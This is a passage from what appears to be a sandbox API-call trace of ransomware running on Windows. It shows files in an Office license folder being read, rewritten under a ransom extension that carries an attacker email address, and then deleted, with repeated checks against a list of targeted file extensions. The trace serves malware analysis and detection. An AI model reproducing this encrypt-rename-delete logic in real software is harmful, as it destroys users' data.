lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.489] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x122, lpOverlapped=0x0) returned 1 [0178.489] SetEndOfFile (hFile=0x544) returned 1 [0178.882] CloseHandle (hObject=0x544) returned 1 [0179.036] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.036] SetEndOfFile (hFile=0x554) returned 1 [0179.043] CloseHandle (hObject=0x554) returned 1 [0179.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0179.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.047] lstrlenW (lpString=".doc") returned 4 [0179.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.047] lstrlenW (lpString=".docx") returned 5 [0179.047] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.047] lstrlenW (lpString=".pdf") returned 4 [0179.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.047] lstrlenW (lpString=".xls") returned 4 [0179.048] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString=".xlsx") returned 5 [0179.048] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.048] lstrlenW (lpString=".ppt") returned 4 [0179.048] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.048] lstrlenW (lpString=".zip") returned 4 [0179.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString=".rar") returned 4 [0179.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString=".bz2") returned 4 [0179.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString=".7z") returned 3 [0179.048] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.048] lstrlenW (lpString=".dbf") returned 4 [0179.048] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.048] lstrlenW (lpString=".1cd") returned 4 [0179.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.048] lstrlenW (lpString=".jpg") returned 4 [0179.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.049] lstrlenW (lpString=".doc") returned 4 [0179.049] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString=".docx") returned 5 [0179.049] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.049] lstrlenW (lpString=".pdf") returned 4 [0179.049] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString=".xls") returned 4 [0179.049] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString=".xlsx") returned 5 [0179.049] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.049] lstrlenW (lpString=".ppt") returned 4 [0179.049] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.049] lstrlenW (lpString=".zip") returned 4 [0179.049] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString=".rar") returned 4 [0179.049] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.049] lstrlenW (lpString=".bz2") returned 4 [0179.050] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.050] lstrlenW (lpString=".7z") returned 3 [0179.050] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.050] lstrlenW (lpString=".dbf") returned 4 [0179.050] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.050] lstrlenW (lpString=".1cd") returned 4 [0179.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0179.050] lstrlenW (lpString=".jpg") returned 4 [0179.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.050] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.050] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0179.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0179.052] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4392) returned 1 [0179.052] CloseHandle (hObject=0x554) returned 1 [0179.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0179.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0179.054] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.054] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0179.055] GetLastError () returned 0x0 [0179.055] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x1128, lpOverlapped=0x0) returned 1 [0179.057] WriteFile (in: hFile=0x560, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x1130, lpOverlapped=0x0) returned 1 [0179.059] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.059] WriteFile (in: hFile=0x560, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10e, lpOverlapped=0x0) returned 1 [0179.059] SetEndOfFile (hFile=0x560) returned 1 [0179.060] CloseHandle (hObject=0x560) returned 1 [0179.060] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.060] SetEndOfFile (hFile=0x554) returned 1 [0179.065] CloseHandle (hObject=0x554) returned 1 [0179.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0179.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.067] lstrlenW (lpString=".doc") returned 4 [0179.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.067] lstrlenW (lpString=".docx") returned 5 [0179.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.067] lstrlenW (lpString=".pdf") returned 4 [0179.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString=".xls") returned 4 [0179.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString=".xlsx") returned 5 [0179.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.068] lstrlenW (lpString=".ppt") returned 4 [0179.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.068] lstrlenW (lpString=".zip") returned 4 [0179.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString=".rar") returned 4 [0179.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString=".bz2") returned 4 [0179.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString=".7z") returned 3 [0179.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.068] lstrlenW (lpString=".dbf") returned 4 [0179.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.068] lstrlenW (lpString=".1cd") returned 4 [0179.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.068] lstrlenW (lpString=".jpg") returned 4 [0179.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.069] lstrlenW (lpString=".doc") returned 4 [0179.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString=".docx") returned 5 [0179.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.069] lstrlenW (lpString=".pdf") returned 4 [0179.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString=".xls") returned 4 [0179.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString=".xlsx") returned 5 [0179.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.069] lstrlenW (lpString=".ppt") returned 4 [0179.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.069] lstrlenW (lpString=".zip") returned 4 [0179.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString=".rar") returned 4 [0179.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.069] lstrlenW (lpString=".bz2") returned 4 [0179.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.070] lstrlenW (lpString=".7z") returned 3 [0179.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.070] lstrlenW (lpString=".dbf") returned 4 [0179.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.070] lstrlenW (lpString=".1cd") returned 4 [0179.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0179.070] lstrlenW (lpString=".jpg") returned 4 [0179.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.070] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.070] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25 [0179.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0179.074] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4208) returned 1 [0179.074] CloseHandle (hObject=0x554) returned 1 [0179.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0179.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0179.075] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.075] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0179.076] GetLastError () returned 0x0 [0179.076] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x1070, lpOverlapped=0x0) returned 1 [0179.118] WriteFile (in: hFile=0x564, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x1080, lpOverlapped=0x0) returned 1 [0179.469] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.469] WriteFile (in: hFile=0x564, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x106, lpOverlapped=0x0) returned 1 [0179.469] SetEndOfFile (hFile=0x564) returned 1 [0179.469] CloseHandle (hObject=0x564) returned 1 [0179.469] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.469] SetEndOfFile (hFile=0x554) returned 1 [0179.473] CloseHandle (hObject=0x554) returned 1 [0179.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1 [0179.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0179.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0179.988] lstrlenW (lpString=".doc") returned 4 [0179.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.988] lstrlenW (lpString=".docx") returned 5 [0179.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.988] lstrlenW (lpString=".pdf") returned 4 [0179.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.988] lstrlenW (lpString=".xls") returned 4 [0179.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.988] lstrlenW (lpString=".xlsx") returned 5 [0179.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.988] lstrlenW (lpString=".ppt") returned 4 [0179.988] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0179.988] lstrlenW (lpString=".zip") returned 4 [0179.988] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.988] lstrlenW (lpString=".rar") returned 4 [0179.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.989] lstrlenW (lpString=".bz2") returned 4 [0179.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.989] lstrlenW (lpString=".7z") returned 3 [0179.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0179.989] lstrlenW (lpString=".dbf") returned 4 [0179.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0179.989] lstrlenW (lpString=".1cd") returned 4 [0179.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0179.989] lstrlenW (lpString=".jpg") returned 4 [0179.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0180.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0180.315] lstrlenW (lpString=".doc") returned 4 [0180.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.315] lstrlenW (lpString=".docx") returned 5 [0180.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.315] lstrlenW (lpString=".pdf") returned 4 [0180.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.315] lstrlenW (lpString=".xls") returned 4 [0180.316] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString=".xlsx") returned 5 [0180.316] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.316] lstrlenW (lpString=".ppt") returned 4 [0180.316] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0180.316] lstrlenW (lpString=".zip") returned 4 [0180.316] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString=".rar") returned 4 [0180.316] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString=".bz2") returned 4 [0180.316] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString=".7z") returned 3 [0180.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0180.316] lstrlenW (lpString=".dbf") returned 4 [0180.316] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0180.316] lstrlenW (lpString=".1cd") returned 4 [0180.316] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75 [0180.316] lstrlenW (lpString=".jpg") returned 4 [0180.316] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.317] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.317] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23 [0180.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.318] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20967) returned 1 [0180.318] CloseHandle (hObject=0x4dc) returned 1 [0180.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0180.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.319] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.319] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.326] GetLastError () returned 0x0 [0180.326] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x51e7, lpOverlapped=0x0) returned 1 [0180.330] WriteFile (in: hFile=0x36c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x51f0, lpOverlapped=0x0) returned 1 [0180.332] ReadFile (in: hFile=0x4dc, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.332] WriteFile (in: hFile=0x36c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x102, 